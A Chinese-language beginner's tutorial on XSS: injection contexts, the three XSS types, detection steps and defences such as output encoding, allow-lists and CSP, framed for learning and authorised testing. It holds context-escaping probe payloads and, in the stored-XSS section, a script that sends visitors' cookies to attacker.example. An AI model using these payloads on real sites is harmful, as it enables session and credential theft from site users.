从零开始搞懂XSS:为什么说它是最容易上手却也最容易被人轻视的漏洞
如果你在某个论坛的用户名里填一段 HTML 代码,结果每次鼠标悬停在头像上都能弹出一个小窗,你会意识到:这个网站把用户的输入"当成代码"给执行了。这就是XSS(跨站脚本攻击)最朴素的样子——它不像 SQL 注入那样直接薅数据库,而是通过浏览器这个"中间人"把你的脚本送到每一个访问者的面前。
我最初接触 XSS 时,想法特别简单:不就是往输入框里塞 <script>alert(1)</script> 吗?直到我亲眼看到有人用一个精妙的存储型XSS拿到整个后台的管理员会话,才意识到这个漏洞远比想象中危险。这篇笔记是系列的第一篇,我会聊透 XSS 的本质是什么、三类 XSS 到底怎么区分、检测和防御的核心思路,以及在真实业务里最容易被忽略的细节。适合刚入门安全的朋友,也适合写业务代码但没系统梳理过安全知识的开发者。
1. 先搞清楚 XSS 到底在打什么:数据与代码的边界被抹掉了
很多人把 XSS 当成"能用 <script> 就行",但这恰恰是最容易误判的地方。要真正理解 XSS,你得先明白浏览器的解析机制和"上下文"的关系。
1.1 浏览器不是把页面当成纯文本,而是当成一棵可变形的树
我们平时看网页,觉得就是"文字 + 图片 + 按钮",但在浏览器内部,HTML 会被解析成一棵 DOM 树,每个标签都是树上的一个节点。关键在于:浏览器的 HTML 解析器有状态。它进入标签开标签状态时,会遇到属性;进入属性值状态时,会遇到引号;进入脚本数据状态时,会把整段内容当作 JavaScript 源码交给脚本引擎。
举一个最经典的例子,某个搜索页面把用户输入直接拼进 HTML:
html复制<input type="text" value="用户输入直接放这里">
如果用户输入的内容是:
code复制"><img src=x onerror=alert(1)>
那么最终拼接出来的 HTML 会变成:
html复制<input type="text" value=""><img src=x onerror=alert(1)>">
注意看,用户输入里的 "> 先闭合了 value 属性,然后 > 闭合了整个 input 标签,后面的 <img src=x onerror=alert(1)> 就成了一个独立的标签。图片加载失败触发 onerror 事件,脚本自然执行。
所以 XSS 的本质不是"过滤不够严格",而是网站把用户可控的数据放到了会被解析为代码的上下文里。同一条输入,放在属性值里、放在 <script> 里、放在注释里、放在 CSS 的 url() 里,攻击方式完全不同。这也是后面绕过滤的核心基础——你对抗的不是某个关键词,而是解析器的状态机。
1.2 一个生活中听得懂的类比
我理解 XSS 的时候,脑子里蹦出来一个类比:你给一个演讲者递了一张纸条,纸条上写了一段演讲稿。但演讲者没有把纸条当成"内容"来念,而是把纸条当成"新的演讲指令"来执行。比如你在纸条上写"现在开始跳舞",他一念出来就真的跳了。XSS 就是这样的"纸条问题"——用户提交的数据本应是"被展示的内容",结果被当成了"被执行的指令"。
这个类比的好处在于,它能解释一个很反直觉的现象:为什么有些攻击 payload 看起来根本没出现 <script> 标签,却仍然能执行?比如:
html复制<img src=x onerror=alert(1)>
这里没有 script 标签,但 img 标签的 onerror 属性本身就是可执行的 JavaScript 代码。所以别把"过滤 script 标签"当成出路,那只是治标不治本。
1.3 我在调研一个开源项目时踩过的理解误区
研究一个开源论坛项目时,我把用户昵称直接插到 <span class="username">昵称</span> 里,最开始觉得这里很安全,因为既不在属性里,也不在标签外。后来我在昵称里输入:
code复制</span><script>alert(1)</script><span>
昵称闭合了 span 标签,然后插入了一个新的 script 标签。原理上依然是"数据被当成 HTML 结构解析"。所以判断一个位置有没有 XSS,要看的是插入点的前后文,而不能凭"看起来像文本"来下结论。这也是为什么现代框架(比如 React 的 {text} 渲染)默认转义能防住绝大多数基础 XSS——框架帮你做了"内容转义",让它真的只能当文本,而不是被当结构解析。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 三类 XSS 的边界划分:反射型、存储型与 DOM 型,别再用"弹窗"来区分
很多人分不清反射型和 DOM 型,一遇到弹窗就喊 XSS,但弹窗只是验证手段,不是漏洞分类标准。分类的意义在于判断攻击载荷存在的位置和影响范围,这两点直接决定了危害评级和修复方案。
2.1 反射型 XSS:一次性的"回弹"
反射型 XSS 的特征是:恶意脚本被拼接到 URL 参数中,服务器把参数直接渲染到响应页面上,攻击者诱导受害者点击这条特殊构造的链接。由于载荷不在数据库中,它是一次性的——你点一次,它弹一次。
经典的场景是搜索框:
code复制https://example.com/search?keyword=<script>alert(1)</script>
服务器返回的页面里会显示"您搜索的关键词是:<script>alert(1)</script>",并在某个地方原样输出。受害者点击链接后,脚本在受害者的浏览器里执行。
这类 XSS 的最大欺骗性在于:受害者访问的明明是"官方网站"的域名,所以浏览器不会给出任何警告。攻击者只需要把链接包装一下(比如缩短网址),就能诱导点击。它主要被用于钓鱼、配合 CSRF 执行敏感操作、盗取会话等。虽然是一次性的,但配合攻击者可控的服务端接收数据,仍然能完成凭证窃取。
2.2 存储型 XSS:危害最大,因为"躺着也中枪"
存储型 XSS 的恶意载荷是持久化保存的。比如在评论区、个人签名、商品介绍等位置提交恶意代码,代码被写入数据库,之后任何用户打开这个页面,都会从数据库取出这段代码并加载执行。不需要诱导点击特殊链接,只要访问页面就会触发。
危害程度通常这样排序:存储型 > DOM 型(通常意义上) > 反射型。存储型之所以危险,是因为触发代价极低,覆盖范围可以是全站所有访客。我最怕测出存储型 XSS 的原因也在于此——它像一个定时炸弹,数据分析后台、管理后台这些"内部页面"一旦存在存储型 XSS,攻击者可以直接通过窃取管理员会话执行后台操作。
举一个存储型场景:某博客平台的"个人简介"字段不转义。攻击者提交:
html复制<script>new Image().src='http://attacker.example/collect?cookie='+document.cookie</script>
此后每个访问攻击者主页的人,Cookie 都会被发到指定地址。当然我这里只是演示原理,未授权环境下请勿实测。
2.3 DOM 型 XSS:代码根本不经过服务器
DOM 型 XSS 的特殊之处在于,payload 不一定需要经过服务器拼接。比如前端 JS 从 URL 中读取参数:
javascript复制const name = new URLSearchParams(window.location.search).get('name');
document.getElementById('welcome').innerHTML = '欢迎您,' + name;
攻击者构造链接:
code复制https://example.com/?name=<img src=x onerror=alert(1)>
服务器返回的 HTML 本身完全正常,只是这段前端脚本读取了 URL 参数并写入了 DOM。整个过程服务器都"看不见"恶意代码,于是传统的 WAF(网站应用层防火墙)很容易失效——因为它检查的是 HTTP 请求,而这里的恶意代码确实存在于请求里,但很多 WAF 对这个场景的规则覆盖并不完备,尤其当 payload 分散在多个参数中重新拼接时,检测难度大增。
DOM 型 XSS 的排查难点在于"审计 JavaScript 逻辑",而不是"看服务端模板"。你要找到所有把不可信数据传给 innerHTML、document.write、eval、outerHTML、insertAdjacentHTML 等危险 sink 的代码路径。
2.4 一张表把三类 XSS 区分清楚
| 类型 | 载荷存在位置 | 是否需要诱导点击 | 触发次数 | 典型场景 |
|---|---|---|---|---|
| 反射型 XSS | URL、请求参数 | 是 | 一次 | 搜索页、错误页回显 |
| 存储型 XSS | 数据库/服务端存储 | 否 | 每次访问触发 | 评论区、用户资料、留言板 |
| DOM 型 XSS | 前端 JavaScript 运行时 | 通常需要 | 视页面逻辑而定 | 单页应用、URL 参数处理 |
判断 XSS 类型,不要只看"有没有弹窗",要问三个问题:恶意代码存不存在服务器上?它靠什么方式到达受害者?触发路径里有没有服务端参与?这三个答案才是分类的锚点。
3. 检测与验证 XSS 的思路链路:从"盲目塞 payload"到"系统化找输入点、输出点、执行点"
刚开始学 XSS 时,我的做法很粗暴:每个输入框都塞一遍 <script>alert(1)</script>,打不通就换 <img src=x onerror=alert(1)>。这能测出一些东西,但效率极低,而且容易误报漏报。后来我才慢慢总结出一套系统化的检测链路,分享出来给你参考。
3.1 第一步:盘点输入点和上下文
检测 XSS 前,先梳理应用有哪些"数据入口":
- URL 参数(query string、路径参数、hash)
- 表单提交字段(搜索框、用户名、评论、反馈等)
- 请求头字段(Referer、User-Agent、X-Forwarded-For 等,有些应用会把这些记录并展示到后台)
- 文件上传后的文件名、图片 alt 文本等
- Web API 请求体中的 JSON 字段
找到输入点之后,更重要的是搞清楚数据最终渲染到哪个上下文。同一个输入,可能会被拼接在如下不同位置:
- HTML 标签之间(文本节点)
- HTML 标签的属性值里(比如 value="...")
<script>代码块内部- 事件处理器属性里(onclick="..."、onerror="...")
- CSS 的 url() 或 expression 里
- 注释节点里
不同上下文要使用的测试手段完全不同,这一步没做对,后面全是瞎试。
3.2 第二步:构造测试向量,先看"断点"再看"闭合"
我惯用的方法是分两层:
第一层是扰动检测:输入一些特殊字符,观察响应里这些字符有没有被转义、被过滤、被原样输出。比如输入:
code复制'"<>,./
如果输出里这些字符全都原样保留,那说明此处存在反射,定为可疑点。
第二层是闭合与载荷构造。根据上下文构造闭合序列。比如在 attr="USER_INPUT" 里,先输入 " 看能否逃逸属性值;在文本节点里,输入 </textarea><script>alert(1)</script> 看能否闭合标签;在 script 代码块里,输入 ';alert(1);// 看能否闭合单引号并截断语句。
一个实用的测试序列(仅限本地/授权环境):
html复制<!-- 探测属性上下文 -->
"><svg/onload=alert(1)>
<!-- 探测标签上下文 -->
</script><script>alert(1)</script>
<!-- 探测 JavaScript 字符串上下文 -->
';alert(1);//
测试时要开着浏览器的开发者工具,切到 Network 面板,观察请求参数与响应内容。我把这一步比喻为"给 Web 应用做心电图"——你要看的是数据从输入到输出的完整波形,而不是只盯着最后的心跳。
3.3 第三步:用弹窗以外的更可靠验证方式
alert(1) 在实战验证里并不总是好用:有的页面会因为 CSP(内容安全策略)拦截弹窗,有的环境认为 alert 过于显眼,有的页面会在 Onload 之前就执行。后来我常用下面几种验证载荷:
javascript复制console.log("XSS-2025-DEMO");
javascript复制(function(){ throw new Error("XSS-2025-DEMO") })();
后一种的好处是:如果脚本执行了,会在 console 里留下一个醒目的错误堆栈,而且在很多 CSP 严格策略下,throw new Error 不像 alert 那样容易被拦截,因为它不需要弹窗也无需外部资源。不过要注意,也许在某些场景下你依然需要视觉反馈,那就用:
html复制<svg/onload=document.body.setAttribute('data-xss','2025')>
执行后查看页面 body 标签是否出现 data-xss="2025"。通过属性变化来判定执行,比弹窗更隐蔽且稳定。
务必记住:检测 XSS 必须在你有权测试的系统上进行。越权探测他人系统不只是违反政策,还可能触犯法律。本文所有示例代码,只建议在你自己的项目或专门的漏洞靶场环境中复现。
3.4 常见的误报与漏报:为什么明明填了 payload 却"弹不出来"
新手经常遇到两种情况:
情况一:payload 被转义了。 比如 <> 被转成 <>,此时浏览器会把它显示成文本,不会解析为标签。这时候不叫漏洞,因为转义是安全的(前提是转义完整且覆盖所有上下文)。
情况二:payload 被某层 WAF 或输入过滤拦截。 比如过滤了 script、onerror 等关键字。但这不代表"安全了",只代表"这个路径被堵了"。真正的检测要看后续是否有可绕过的路径,比如大小写混合、HTML 实体编码、Unicode 归一化、空格与换行、反引号替代括号等。
漏报方面,最大的问题是没有覆盖 DOM 型 XSS。我见过一个团队用自动化扫描器扫了一圈,报告显示"未发现 XSS",但我手工翻前端代码,在某个 location.hash 的取值逻辑里轻松构造出执行点。自动化工具很难覆盖前端的复杂状态流转,这也是为什么我一直强调手工检测不可替代。
4. 防御 XSS 的关键动作:转义、白名单与 CSP,不是"过滤危险字符"就完事
如果你只记住了前半部分"怎么攻击",却不关心"怎么修",那学习 XSS 的意义就少了一半。防御的核心可以浓缩成一句:让用户数据永远只停留在"数据"的位置,永远不要被解释为"代码"。
4.1 输出编码与转义:不同上下文用不同规则
"输出编码"听起来很基础,但最容易做错的地方在于——一套编码规则不可能适用所有上下文。如果团队只封装了一个 htmlEscape() 函数,然后到处用,那在处理 JavaScript 字符串、URL 属性、CSS 上下文时都会有隐患。
| 上下文 | 转义/编码规则 | 典型实现方式 |
|---|---|---|
| HTML 元素内容 | HTML 实体编码 & < > " ' |
框架自带的 HTML escape(如 React 的文本插值) |
| HTML 属性值 | 属性值编码,最少要处理 " ' & |
使用专门属性编码函数 |
| JavaScript 字符串 | Unicode 转义 \uXXXX 或 \xXX |
不要直接拼 JS 字符串,优先用 JSON 序列化 |
| URL 参数 | URL 百分号编码 | encodeURIComponent 或服务端 URL 编码 |
| CSS 上下文 | 尽量禁止用户数据进入 CSS | 若必须使用,转义危险字符 |
我在某项目里见过一个经典修复错误:把用户输入里的
<替换成<就算完。结果用户输入放在<script>var a = "..."</script>的字符串里,一个"就能破坏结构。所以修复 XSS 前,先定位上下文,再选对编码方案。
4.2 输入校验:白名单远比黑名单可靠
"过滤 script、过滤 alert、过滤 onerror"是典型的黑名单思路,它的问题在于永远测不完恶意变体。更可靠的思路是白名单校验:
- 对用户名、昵称等字段,只允许字母、数字、有限标点和合理长度;
- 对 URL 字段,只允许 http/https 协议,并对域名或路径做白名单;
- 对富文本内容,不要自己写正则肉搏,直接用成熟的富文本安全过滤库,并且配置允许的标签和属性白名单。
白名单防护的优点是把"未知风险"挡在外面,不会出现"对方构造一个新编码方式,你就被打穿"的局面。
4.3 CSP:最后一道纵深防线
CSP(内容安全策略)是一种浏览器层面的安全机制,它通过 HTTP 响应头告诉浏览器"能加载哪些资源、允许执行哪些脚本"。即便 XSS 注入成功,CSP 也能限制脚本的实际执行能力。
一个基础但有效的 CSP 示例:
http复制Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'
这个策略的含义是:只允许同源资源、不执行任何内联脚本、禁止插件加载。它基本上能挡掉"纯内联 payload"型 XSS。
不过在落地 CSP 时要注意两个常见坑:
script-src 'unsafe-inline'等于没设。很多现有站点因为历史原因依赖内联脚本,评估时需要逐步改造,而不是图省事加一个 unsafe-inline,否则 CSP 形同虚设。- CSP 不是 WAF,它不能阻断恶意请求的上传。它只能削弱 XSS 被执行后的后果,所以 CSP 是纵深防御的一部分,不能替代输出编码。
4.4 现代前端框架天然带了一部分防御,但别迷信
React 默认会对 JSX 中的文本插值做转义,Vue 的 {{ }} 插值同样如此,这对传统 XSS 是很好的基础防护。但我见过很多开发者因为"用了框架"就放弃了对用户输入的警惕,结果在以下场景翻车:
javascript复制// React 中手动设置 HTML
dangerouslySetInnerHTML={{ __html: userContent }}
// Vue 中手动设置 HTML
v-html="userContent"
这些 API 就是"故意绕过框架转义"的通道。如果业务确实需要富文本渲染,请务必配合成熟的白名单过滤库来清洗内容,而不是直接信任用户输入。
5. 学习与记录 XSS 的方法论:我如何把零碎笔记沉淀成自己的知识体系
标题叫"XSS学习笔记(一)",所以我最后想多聊几句关于"笔记"本身。这个系列本质上是我的学习沉淀,不是为了教条式地背诵原理,而是为了让未来的自己快速回忆和检索。
5.1 用"漏洞原子"的概念来整理笔记
我记 XSS 笔记时,不会按"反射型、存储型、DOM型"来划分章节,而是按漏洞原子来拆解:上下文、输入路径、执行原语。
拿一个 payload 举例:
code复制"><img src=x onerror=alert(1)>
它由三个原子组成:
- 输入点上下文是 HTML 标签属性值;
- 输入字符串通过
">完成属性与标签闭合; - 执行原语是
onerror事件处理器。
任何 XSS payload 都可以拆解成这些原子的组合。这样做的价值是:当你看到一个陌生的 payload,只要拆解出它的原子结构,就能知道它适用于什么场景、为什么能生效、修改哪一步可以绕过加固。比如 <svg/onload=alert(1)> 和 <img src=x onerror=alert(1)> 看起来完全不同,但原子结构几乎一样——只是执行原语换了事件类型。
5.2 我的笔记模板
每次遇到一个有意思的 XSS 案例,我都会按这个模板记录:
- 场景描述:目标页面长什么样?数据从哪里输入?
- 上下文分析:数据被渲染到哪个 HTML/JavaScript/CSS 上下文?
- payload 拆解:哪个字符负责闭合?哪个节点负责执行?
- 绕过链:如果目标有过滤/CSP/WAF,我试过哪些方案,哪个成功了?
- 修复建议:如果我是这个站点的开发者,应该改哪里?
- 出现频率与误判:这类问题在实测中常见吗?有什么容易和其他问题混淆的地方?
这个模板不复杂,但坚持一年后,你会拥有一本"只属于自己"的问题地图。别人问你 XSS 有哪些绕过姿势,你能从自己的笔记里迅速调出十几个案例,而不是靠背记忆。
5.3 动手实践的建议路径
如果你完全零基础,我建议按下面的顺序搭建练习环境:
- 在本地搭建一个最简单的 Node/Express 或 Python/Flask 应用,故意在几个页面写入漏洞代码;
- 手动复制并修改上面的三类别 payload,观察浏览器渲染结果;
- 用开发者工具的 Elements 面板实时查看 DOM 变化;
- 试着用自动化扫描器扫自己的靶场,对比扫描器报告和手工测试结果的差异;
- 最后再挑战单页应用场景,在前端代码里寻找 DOM XSS 的 sink,把整个执行链梳理出来。
我个人的体会是:完成一次"从发现输入点到成功执行脚本"的完整链路,比刷十篇教程都管用。因为只有当你亲手把"数据"变成"代码"的那一瞬间,你才会真正理解为什么浏览器是这么脆弱、为什么输出编码那么重要。
这篇文章作为系列的开篇,我们聊透了 XSS 的本质、分类、检测链路和防御思路。下一篇我会把重点放在绕过实战上:当目标有了基础过滤、CSP、WAF 之后,payload 是怎么被改写的,以及那些经典的绕过手法背后共同的逻辑是什么。
把这个过程写下来的时候,我又想起自己第一次在本地靶场成功弹窗的那个下午。其实所谓"搞懂 XSS",就是从看见那个弹窗开始,然后沿着解析器的状态机一路往下走。浏览器不会骗你,数据被当作代码执行时,它一定会在某个地方露出马脚——你要做的,只是学会看那些痕迹。
